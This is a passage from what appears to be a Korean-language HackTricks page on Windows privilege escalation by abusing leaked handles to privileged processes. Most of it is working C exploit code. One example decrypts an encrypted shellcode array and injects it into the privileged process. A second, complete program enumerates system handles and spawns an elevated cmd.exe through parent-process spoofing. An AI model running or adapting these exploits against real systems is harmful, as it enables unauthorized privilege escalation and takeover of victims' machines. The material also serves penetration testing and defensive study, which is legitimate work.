unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);

printf("My PID: %d\n", GetCurrentProcessId());
getchar();

// find a leaked handle to a process
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// d#Decrypt payload
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] Sending gift...");
// Inject and run the payload in the privileged context
Inject(hProc, payload, payload_len);
printf("done.\n");
}
getchar();

return 0;
}

Exploit Example 2

Note

์‹ค์ œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ์ทจ์•ฝํ•œ ์ฝ”๋“œ์— ์˜ํ•ด ์‹คํ–‰๋  ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์—†์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค (C:\users\username\desktop\client.exe ์ด ๊ฒฝ์šฐ). ์•„๋งˆ๋„ ํ”„๋กœ์„ธ์Šค๋ฅผ ์†์ƒ์‹œํ‚ค๊ณ , ๊ถŒํ•œ์ด ์žˆ๋Š” ํ”„๋กœ์„ธ์Šค์˜ ์ทจ์•ฝํ•œ ํ•ธ๋“ค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ด ์˜ˆ์ œ์—์„œ๋Š” ์—ด๋ ค ์žˆ๋Š” ํ•ธ๋“ค์„ ์•…์šฉํ•˜์—ฌ ์‰˜์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๊ณ  ์‹คํ–‰ํ•˜๋Š” ๋Œ€์‹ , ๊ถŒํ•œ์ด ์žˆ๋Š” ์—ด๋ฆฐ ํ•ธ๋“ค ํ”„๋กœ์„ธ์Šค์˜ ํ† ํฐ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ƒˆ๋กœ์šด ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋Š” 138ํ–‰์—์„œ 148ํ–‰๊นŒ์ง€ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค.

UpdateProcThreadAttribute ํ•จ์ˆ˜๊ฐ€ PROC_THREAD_ATTRIBUTE_PARENT_PROCESS ์†์„ฑ๊ณผ ์—ด๋ฆฐ ๊ถŒํ•œ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•œ ํ•ธ๋“ค๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉ๋˜๋Š” ๊ฒƒ์„ ์ฃผ๋ชฉํ•˜์„ธ์š”. ์ด๋Š” cmd.exe๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์ƒ์„ฑ๋œ ํ”„๋กœ์„ธ์Šค ์Šค๋ ˆ๋“œ๊ฐ€ ์—ด๋ฆฐ ํ•ธ๋“ค ํ”„๋กœ์„ธ์Šค์™€ ๋™์ผํ•œ ํ† ํฐ ๊ถŒํ•œ์„ ๊ฐ€์งˆ ๊ฒƒ์ž„์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}


int main(int argc, char **argv) {

HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;

Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );

if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}

Sleep(20000);
return 0;
}

๊ธฐํƒ€ ๋„๊ตฌ ๋ฐ ์˜ˆ์ œ

์ด ๋„๊ตฌ๋Š” ๋ˆ„์ถœ๋œ ํ•ธ๋“ค์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ ์ทจ์•ฝํ•œ ํ•ธ๋“ค์„ ์ฐพ๊ณ  ์ž๋™์œผ๋กœ ์•…์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ๋˜ํ•œ ํ•˜๋‚˜์˜ ํ•ธ๋“ค์„ ๋ˆ„์ถœํ•˜๋Š” ๋„๊ตฌ๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•ธ๋“ค์„ ๋ˆ„์ถœํ•˜๊ณ  ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

์ฐธ๊ณ ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ